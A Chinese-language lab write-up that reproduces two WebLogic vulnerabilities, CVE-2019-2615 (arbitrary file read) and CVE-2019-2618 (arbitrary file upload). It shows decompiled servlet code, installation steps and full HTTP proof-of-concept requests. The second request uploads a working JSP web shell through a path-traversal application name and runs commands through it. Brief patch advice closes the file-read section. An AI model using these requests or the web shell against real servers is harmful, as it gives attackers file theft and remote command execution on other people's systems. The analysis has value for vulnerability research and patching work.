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Weblogic任意文件读取和任意文件上传

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Weblogic任意文件读取和任意文件上传

引言

weblogic 中两个 CVE 漏洞比较有意思,所以复现一下,该两个漏洞需要在 poc 中加入用户名和密码( cookie )才能实现。

环境搭建  

环境搭建: 首先安装 weblogic 下载地址 http://www.oracle.com/technetwork/cn/middleware/weblogic/downloads/wls-main-091116-zhs.html

安装目录没特别需求可以不更改,一路下一步。 把复选框去掉: 全选: (已安装的图片) (安装包捆绑有 jdk1.6 ,上一步安装完成) 可以默认: 正在安装: 安装完成。 打开 Oracle 然后选择 Getting startedwith WebLogic Server: 配置 weblogic 界面: 域源全选: 一直默认直到设置密码选项: 选择开发模式。 全选。 剩下的默认就行 安装完毕。 在安装目录下找到启动程序。 startWeblogic.cmd 启动成功后,试试能否访问 weblogic 控制台。 Url: http://192.168.219.131:7001/console/login/LoginForm.jsp

CVE-2019-2615 任意文件读取

漏洞分析 该功能的关键代码在 weblogic.management.servlet.FileDistributionServlet doGet() 方法中:

public void doGet(final HttpServletRequest var1, final HttpServletResponsevar2) throws ServletException, IOException {
  AuthenticatedSubject var3 = this.authenticateRequest(var1, var2);
  if(var3 != null) {
      final String var4 =var1.getHeader("wl_request_type");
      if(var3 != KERNEL_ID) {
          AdminResource var5 = newAdminResource("FileDownload", (String)null, var4);
          if(!this.am.isAccessAllowed(var3, var5,(ContextHandler)null)) {
             ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(var3.getName(), var4);
              var2.sendError(401);
              return;
          }
      }
​
      try {
          if(debugLogger.isDebugEnabled()) {
              debugLogger.debug("---->doGet incoming request: " + var4);
          }
​
         if(var4.equals("wl_xml_entity_request")) {
             this.doGetXMLEntityRequest(var1, var2);
          } elseif(var4.equals("wl_jsp_refresh_request")) {
             this.doGetJspRefreshRequest(var1, var2);
          } else if(var4.equals("file")) {
              this.doGetFile(var1, var2);
          } elseif(!var4.equals("wl_init_replica_request") &&!var4.equals("wl_file_realm_request") &&!var4.equals("wl_managed_server_independence_request")) {
             var2.addHeader("ErrorMsg", "Bad request type");
              String var10 =Utils.encodeXSS(var4);
              var2.sendError(400, "Bad requesttype: " + var10);
             ManagementLogger.logBadRequestInFileDistributionServlet(var4);
          } else {
              ......
              ......
              }
          }
      } catch (Exception var9) {
          if(!Kernel.isInitialized()) {
              throw newAssertionError("kernel not initialized");
          }
​
         ManagementLogger.logErrorInFileDistributionServlet(var4, var9);
      }
​
  }
}

先取 request header 的参数 “wl_request_type” 的值,然后判断如果该值等于 “wl_xml_entity_request” “wl_jsp_refresh_request” “file”… 则分别调用各自的方法,进入下一步判断。如果 wl_request_type 的值为 “wl_jsp_refresh_request” ,进入 doGetJspRefreshRequest() 方法:

private void doGetJspRefreshRequest(HttpServletRequest var1,HttpServletResponse var2) throws IOException {
    String var3 = var1.getHeader("adminPath");
​
    try {
        FileInputStream var4 = new FileInputStream(var3);
​
        try {
           var2.setContentType("text/plain");
            var2.setStatus(200);
            this.returnInputStream(var4,var2.getOutputStream());
        } finally {
            var4.close();
        }
​
    } catch (IOException var10) {
        String var5 = "I/O Exception getting resource:" + var10.getMessage();
        var2.addHeader("ErrorMsg", var5);
        var2.sendError(500, var5);
    }
}

doGetJspRefreshRequest() 方法中的 “adminPath” 也是 request 中的 header 参数,在 Post 包中传入要读取的文件。进入该方法中,直接使用 FileInputStream 类进行文件读取,故造成了所谓的 任意文件读取 漏洞。

漏洞复现 访问 URL http://192.168.219.131:7001/bea_wls_management_internal2/wl_management 采用 BurpSuite 抓包: POC 加入包中:

POC 为:

GET /bea_wls_management_internal2/wl_management HTTP/1.1
Host: 192.168.219.131:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36(KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
username:weblogic
password:12345678
wl_request_type:wl_jsp_refresh_request
adminPath:C:python27123.txt
Upgrade-Insecure-Requests: 1

发送该包发现: 检查原机的文件发现:

修复建议 升级补丁。 Oracle 官方更新链接地址: https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html 或者直接删除了 requestType “wl_jsp_refresh_request” 参数的判断,同时也删除了 doGetJspRefreshRequest() 方法。

CVE-2019-2618 文件上传漏洞

漏洞分析 DeploymentServiceServlet 类的 handlePlanOrApplicationUpload() 方法:

private final void handlePlanOrApplicationUpload(HttpServletRequest var1,HttpServletResponse var2, AuthenticatedSubject var3) throws IOException {
  String var4 =mimeDecode(var1.getHeader("wl_upload_application_name"));
  String var5 = ApplicationVersionUtils.getApplicationName(var4);
  String var6 = ApplicationVersionUtils.getVersionId(var4);
  String var7 = mimeDecode(var1.getHeader("wl_request_type"));
  if(var5 == null) {
      Loggable var24 =DeploymentServiceLogger.logRequestWithNoAppNameLoggable(var7);
      logAndSendError(var2, 403, var24);
  } else {
      String var8 = var1.getContentType();
      if(var8 != null &&var8.startsWith("multipart")) {
​
          boolean var25 = false;
          String var10 =var1.getHeader("wl_upload_delta");
          if(var10 != null && var10.equalsIgnoreCase("true")){
              var25 = true;
          }
​
          boolean var11 =var7.equals("plan_upload");
          boolean var12 ="false".equals(var1.getHeader("archive"));
          if(this.isDebugEnabled()) {
              this.debug(var7 + "request for application " + var5 + " with archive: " + var12);
          }
​
          String var13 = null;
          if(var6 == null || var6.length() == 0) {
              var13 =this.getUploadDirName(var5, var6, var25, var11, var12);
          }
​
          if(var13 == null) {
              var13 =this.getDefaultUploadDirName();
              if(var13 == null) {
                  Loggable var26 =DeploymentServiceLogger.logNoUploadDirectoryLoggable(var7, var5);
                 logAndSendError(var2, 500, var26);
                  return;
              }
​
              var13 = var13 + var5 +File.separator;
              if(var6 != null) {
                  var13 = var13 +var6 + File.separator;
              }
          }
​
          if(this.isDebugEnabled()) {
              this.debug(" +++ FinaluploadingDirName : " + var13);
          }
​
          boolean var14 = true;
          String var15 = null;
          ......
          ......
​
      } else {
          Loggable var9 = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(var7,var8);
          logAndSendError(var2, 400, var9);
      }
  }
}

该方法主要是对 POST 包中的传入的 headers 进行处理,主要作用包括:获取请求包中的 “wl_upload_application_name” 参数,然后判断是否为空;判断 “content-type” ;构造上传路径等。

漏洞复现 访问漏洞 URL http://192.168.219.131:7001/bea_wls_deployment_internal/DeploymentService 并使用 BurpSuite 抓包。 将发包方式改成 POST 方式写入 POC: POC 为:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.219.131:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password: 12345678
Content-Type: multipart/form-data; boundary=--------1838169138
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1044
​
----------1838169138
Content-Disposition: form-data; name="shell.jsp";filename="shell.jsp"
Content-Type: false
​
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
  out.println("Command: " +request.getParameter("cmd") + "<BR>");
  Process p;
  if (System.getProperty("os.name").toLowerCase().indexOf("windows")!= -1){
      p = Runtime.getRuntime().exec("cmd.exe /C " +request.getParameter("cmd"));
  }
  else{
      p = Runtime.getRuntime().exec(request.getParameter("cmd"));
  }
  OutputStream os = p.getOutputStream();
  InputStream in = p.getInputStream();
  DataInputStream dis = new DataInputStream(in);
  String disr = dis.readLine();
  while ( disr != null ) {
  out.println(disr);
  disr = dis.readLine();
  }
}
%>
</pre>
</BODY></HTML> 
​
----------1838169138--

发送数据包发现浏览器出现下图: 访问 URL http://192.168.219.131:7001/bea_wls_internal/shell.jsp?cmd=ipconfig 漏洞复现完成。

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